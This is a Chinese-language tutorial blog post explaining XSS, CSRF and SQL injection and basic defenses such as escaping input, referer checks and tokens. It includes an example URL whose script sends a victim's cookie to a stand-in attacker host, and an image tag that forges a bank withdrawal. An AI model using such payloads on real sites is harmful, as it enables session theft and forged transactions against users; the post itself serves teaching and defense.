1. 程式人生 > >常見漏洞和攻擊及防範方法

常見漏洞和攻擊及防範方法

XSS(Cross-Site Script) 跨站指令碼攻擊

1.Reflected XSS(基於反射的XSS攻擊)
誘騙使用者點選帶攻擊性的程式碼連結,伺服器解析後響應,不轉存資料庫,在伺服器響應的內容中有攻擊性程式碼,被瀏覽器執行,從而獲取資訊等。不過這個url是會被使用者懷疑的。

2.Stored XSS(基於儲存的XSS攻擊)
主動提交惡意資料到伺服器,提交的程式碼能儲存在資料庫中(誰做的伺服器端校驗拖出來打一頓。Orz..)。
比如使用者檢視留言板,之前所有使用者提交的資訊被顯示在頁面中,如果某個使用者提交了指令碼程式碼,這個指令碼程式碼是獲取你的cookie資訊傳送到自己伺服器端的,然後被瀏覽器解析了,那資料就洩漏了。
本人在淘寶首頁搜尋上輸入了alert(1),嗯,被攔截了,報了405錯誤。搜尋記錄應該是會被存入伺服器的,直接被攔掉了。

3.DOM-based or local XSS(基於DOM或本地的XSS攻擊)
沒有伺服器的事,純粹就是瀏覽器端的DOM解析。
比如某個網站裡面的內容,是根據url裡面的term直接顯示的,那我直接在term裡面加上程式碼,引誘別人去開啟。

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

比人訪問這個網址,他的cookie就傳送到badguy那裡去了。
所以自己的頁面一定要寫好,別給別人可乘之機,我算是看出來了。。這些鍋都要程式設計師自己背啊。。

防禦措施:
過濾特殊字元,說白了就是不相信使用者的輸入,全部轉義,不符合規矩的全部處理掉~個人覺得最好的辦法就是全部轉成字串,我試了下百度的,就是這樣的。

CSRF (Cross-Site Request Forgery) 跨站點請求偽造

我理解為攻擊者欺騙使用者去瀏覽自己的惡意網頁,而這個惡意網頁中存在一些操作,比如裡面放了一個轉賬程式碼

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">

而你之前才登陸過bank,cookie還沒失效,cookie是儲存在瀏覽器中的,那這時候伺服器又以為是你自己發的請求,然後,然後就boom。。了。

防禦措施:
1.檢查referer欄位,referer欄位表示請求來自哪個地址。通常referer地址應該和請求地址一致,意思就是應該是在自己伺服器發出去的正常的網頁下操作,不是在別人的惡意網頁上發出的請求。

2.校驗token,伺服器生成一段亂碼為token值,在使用者訪問網頁時加入cookie一同返回到瀏覽器中,當用戶需要傳送一些重要請求時,伺服器校驗token是不是之前傳送給使用者的,這樣能保證請求是真的從自己的頁面傳送過來的。(雙擊666)

SQL injection 注入攻擊

把sql命令插入到表單提交或輸入域名或頁面請求的查詢字串中,欺騙伺服器執行惡意的sql命令。之前的影視網站洩露vip資訊就是通過傳送查詢的sql拿到的(真的是厲害,這樣都行)
我覺得這個跟xss的儲存式攻擊差不多。

防禦措施:
不要信任使用者輸入,這個和xss的一樣。不要使用動態拼裝sql(我貌似經常這麼幹。。)

不瞭解不知道,原來網際網路這麼不安全。
一直覺得有同源策略很安全了。但是還是覺得,要自己學會去用,有意識的去防範,才能把這些作用發揮出來。

(網上有猿說提供一個免費的wifi,別人登入了,我就可以抓包了。默默打開了我的charles躍躍欲試ヽ(•̀ω•́ )ゝ)